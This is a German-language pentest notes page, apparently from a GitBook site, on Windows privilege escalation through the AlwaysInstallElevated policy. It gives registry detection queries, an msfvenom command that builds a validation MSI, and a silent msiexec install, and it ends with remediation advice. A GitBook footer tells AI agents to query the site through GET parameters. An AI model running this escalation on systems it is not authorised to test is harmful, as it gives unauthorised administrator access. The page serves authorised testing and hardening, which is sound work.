> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md).

# Windows-Rechteausweitung mit AlwaysInstallElevated

`AlwaysInstallElevated` ist eine gefährliche Windows-Richtlinie, die es einem Benutzer ohne Administratorrechte ermöglicht, MSI-Pakete mit erhöhten Rechten zu installieren, wenn sowohl die Registry-Schlüssel für den aktuellen Benutzer als auch für den lokalen Computer aktiviert sind.

## Erkennung

Der Befund ist ausnutzbar, wenn beide Werte zurückgeben `1`:

```cmd
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

<figure><img src="/files/70581c566a06bff911d3d2402ca10e2e3fa7e319" alt="AlwaysInstallElevated registry keys enabled"><figcaption></figcaption></figure>

## Laborvalidierung

Erstellen Sie in einem kontrollierten Labor eine MSI-Datei, die eine klar sichtbare Validierungsaktion ausführt, etwa indem sie die erhöhte Identität in eine temporäre Datei schreibt. Ersetzen Sie die Aktion erst nach Bestätigung des Umfangs und der Listener-Einrichtung durch die autorisierte Nutzlast.

```bash
msfvenom -p windows/exec CMD='cmd /c whoami > C:\Windows\Temp\msi-check.txt' -f msi -o check.msi
```

<figure><img src="/files/52f0f9749da9f29e9fc3e8a11e396c74a63df10d" alt="MSI payload transferred to the Windows target"><figcaption></figcaption></figure>

## Installer ausführen

Installieren Sie die MSI-Datei unbeaufsichtigt:

```cmd
msiexec /quiet /qn /i check.msi
type C:\Windows\Temp\msi-check.txt
```

<figure><img src="/files/c231a9c74fb8e7fa2575f80ad1aee8a39f7a5c78" alt="Elevated shell received after MSI execution"><figcaption></figcaption></figure>

## Wichtige Punkte

* Beide Registrierungsschlüssel müssen aktiviert sein.
* Die MSI-Datei wird mit erhöhten Rechten ausgeführt.
* Wenn nur ein Schlüssel aktiviert ist, behalten Sie es als Härtungsbefund bei, behandeln Sie es aber nicht als funktionierende Privilegieneskalation.
* Beheben Sie das Problem, indem Sie die Richtlinie deaktivieren und ungewöhnliche MSI-Installationen überwachen.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
